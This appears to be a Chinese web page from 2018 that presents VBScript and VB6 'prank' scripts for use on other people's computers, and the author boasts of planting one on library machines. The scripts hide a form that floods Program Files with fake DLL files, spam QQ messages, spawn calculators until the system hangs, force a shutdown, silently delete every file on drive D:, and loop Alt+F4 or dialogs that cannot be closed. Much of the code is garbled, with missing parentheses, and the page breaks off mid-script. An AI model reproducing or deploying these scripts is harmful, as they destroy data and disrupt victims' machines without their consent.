VBS整人代码讲解
发布时间：2018-10-12 来源：文档文库
小
中
大
字号：
VBS整人代码：
vbs整人代码 代码如下：
复制代码 代码如下: Private Sub Form_Load( Me.Hide End Sub
Private Sub Timer1_Timer(
'声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long
'定义要把生成的文件存放在那个目录文件下 c = "C:\Program Files\" '生成文件的内容
nr = "哈哈，被黑的感觉的不错吧" files = FreeFile
'如果a等于a那么就执行 If a = a Then
'count不断的加1，以便产生不同的文件名 count = count + 1
'产生文件名及文件句柄，并用count作为产生不同的文件名。 Open c & "system" & count & ".dll" For Append As #files '向文件写内容 Write #files, nr
'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可. xx.vbs=>
复制代码 代码如下: On Error Resume Next Dim wsh,ye
set wsh=createobject("wscript.shell" for i=1 to 10 wscript.sleep 700
wsh.AppActivate("与 xx 聊天中" wsh.sendKeys "^v" wsh.sendKeys i
wsh.sendKeys "%s" next
wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do
msgbox "You are foolish!" loop
------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机
------------------------------------------------------------------------------ set wsh=createobject("wscript.shell" do
wsh.run "calc" loop
----------------------------------------------------------------------------- 四、直接关机
----------------------------------------------------------------------------- dim WSHshell
set WSHshell = wscript.createobject("wscript.shell" WSHshell.run "shutdown -f -s -t 00",0 ,true
----------------------------------------------------------------------------- 五、删除D:\所有文件
--------------------------------------------------------------------------- dim WSHshell
set WSHshell = wscript.createobject("wscript.shell" WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
---------------------------------------------------------------------------- 六、不断弹出窗口
---------------------------------------------------------------------------- 复制代码 代码如下: while(1
msgbox "哈哈 你被耍了！" loop
---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）
--------------------------------------------------------------------------- 复制代码 代码如下: dim WSHshell
set WSHshell = wscript.createobject("wscript.shell" while(1
WSHshell.SendKeys "%{F4}" loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改 复制代码 代码如下: dim s
do until s=500 s=s+1
msgbox "哥们，给我按500次回车吧",64 loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口 复制代码 代码如下: WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName WScript.Echo("你是可爱的小朋吗?"
WScript.Echo("哈,小杰想你拉，这你都不知道吗？" WScript.Echo("怎么才来，说~是不是不关心我"
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。" WScript.Echo("小强很生气，后果很严重哦。" WScript.Echo("嘿嘿！你也会很惨滴哦" WScript.Echo("是不是想清除我？
